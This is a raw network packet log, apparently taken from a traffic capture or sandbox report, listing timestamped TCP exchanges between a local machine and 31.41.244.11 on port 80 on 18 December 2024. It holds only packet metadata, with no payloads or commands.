Dec 18, 2024 15:22:11.556098938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.556149960 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.556219101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.556322098 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.557245016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.557302952 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.557358027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.557404995 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.558439016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.558491945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.558525085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.558588028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.559535980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.559571028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.559623003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.559736967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.560415983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.560467958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.560534954 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.560610056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.561522007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.561625004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.561633110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.561695099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.562596083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.562707901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.562743902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.562764883 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.563817024 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.563870907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.563918114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.563918114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.564809084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.564872980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.564894915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.564980984 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.701011896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.701136112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.701142073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.701317072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.701471090 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.701782942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.701803923 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.701821089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.701821089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.702281952 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.702792883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.702840090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.702898979 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.703339100 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.703959942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.704005003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.704025030 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.704149008 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.704947948 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.704998970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.705058098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.705138922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.706106901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.706155062 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.706367970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.706559896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.707145929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.707195044 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.707356930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.707593918 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.708204985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.708292961 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.708349943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.708349943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.709254980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.709330082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.709373951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.709373951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.710330009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.710376978 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.710406065 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.711445093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.711587906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.711627007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.711627007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.711627007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.712491989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.712621927 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.712987900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.712987900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.713592052 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.713733912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.713772058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.713772058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.714690924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.714782000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.714843035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.714843035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.715729952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.715779066 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.715831995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.715908051 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.716866970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.716928005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.716965914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.717044115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.717973948 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.718089104 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.718128920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.718128920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.718997002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.719048023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.719136000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.719186068 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.720153093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.720207930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.720247030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.720247030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.721179008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.721240997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.721338034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.721338034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.722225904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.722273111 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.722445965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.722687006 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.723323107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.723339081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.723366976 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.723488092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.724374056 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.724520922 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.724561930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.724561930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.725445032 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.725521088 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.725558996 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.725558996 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.726572990 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.726598978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.726644993 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.726645947 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.727684021 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.727730036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.727754116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.728692055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.728734970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.728734970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.728965044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.729006052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.729780912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.729834080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.729873896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.730814934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.730859995 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.730859995 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.730982065 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.731806040 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.731915951 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.732074976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.732120037 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.732120037 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.733059883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.733124018 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.734123945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.734173059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.734173059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.734173059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.734224081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.735184908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.735299110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.735337019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.735337019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.735337019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.736239910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.736284018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.736347914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.736501932 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.737382889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.737471104 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.737512112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.737512112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.738430023 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.738478899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.738537073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.738579035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.739487886 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.739614010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.739733934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.739733934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.740607977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.740670919 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.740672112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.740881920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.741642952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.741687059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.741733074 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.741813898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.742765903 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.742844105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.742882013 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.742882013 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.743870020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.743997097 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.744023085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.744057894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.744874001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.744959116 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.745006084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.745117903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.745953083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.746006966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.746083021 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.746134043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.747087002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.747200012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.747237921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.747237921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.748140097 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.748267889 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.748313904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.748678923 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.749192953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.749250889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.749680042 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.749680996 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.750339031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.750360966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.750400066 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.751185894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.751338959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.751490116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.751642942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.751642942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.752413988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.752486944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.752615929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.752875090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.753490925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.753536940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.753606081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.753645897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.754595041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.754641056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.754688025 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.754885912 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.755876064 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.755914927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.755932093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.755980968 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.756704092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.756752014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.756906033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.756948948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.897517920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.897566080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.897659063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.897715092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.897842884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.897902966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.897926092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.897977114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.898879051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.898929119 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.899142981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.899344921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.899995089 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.900031090 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.900038958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.900322914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.900815964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.900965929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.901010990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.901010990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.901969910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.902048111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.902065039 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.902103901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.903146029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.903291941 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.903310061 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.903364897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.904241085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.904309034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.904326916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.904364109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.905246019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.905262947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.905359983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.905359983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.906248093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.906454086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.907321930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.907332897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.907332897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.907378912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.907429934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.907429934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.908318043 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.908392906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.908433914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.908433914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.909600019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.909656048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.909708023 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.910459042 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.910501957 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.910552979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.910589933 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.910790920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.911595106 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.911648989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.911694050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.911732912 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.912631989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.912688971 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.912816048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.912993908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.913750887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.913811922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.913997889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.914048910 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.914803982 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.914855957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.914942980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.914993048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.915925026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.915949106 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.916003942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.916003942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.916943073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.917018890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.917058945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.917059898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.918060064 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.918133974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.918288946 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.918334007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.919132948 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.919259071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.919296980 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.919444084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.920372963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.920458078 CET	49910	80	192.168.2.5	31.41.244.11
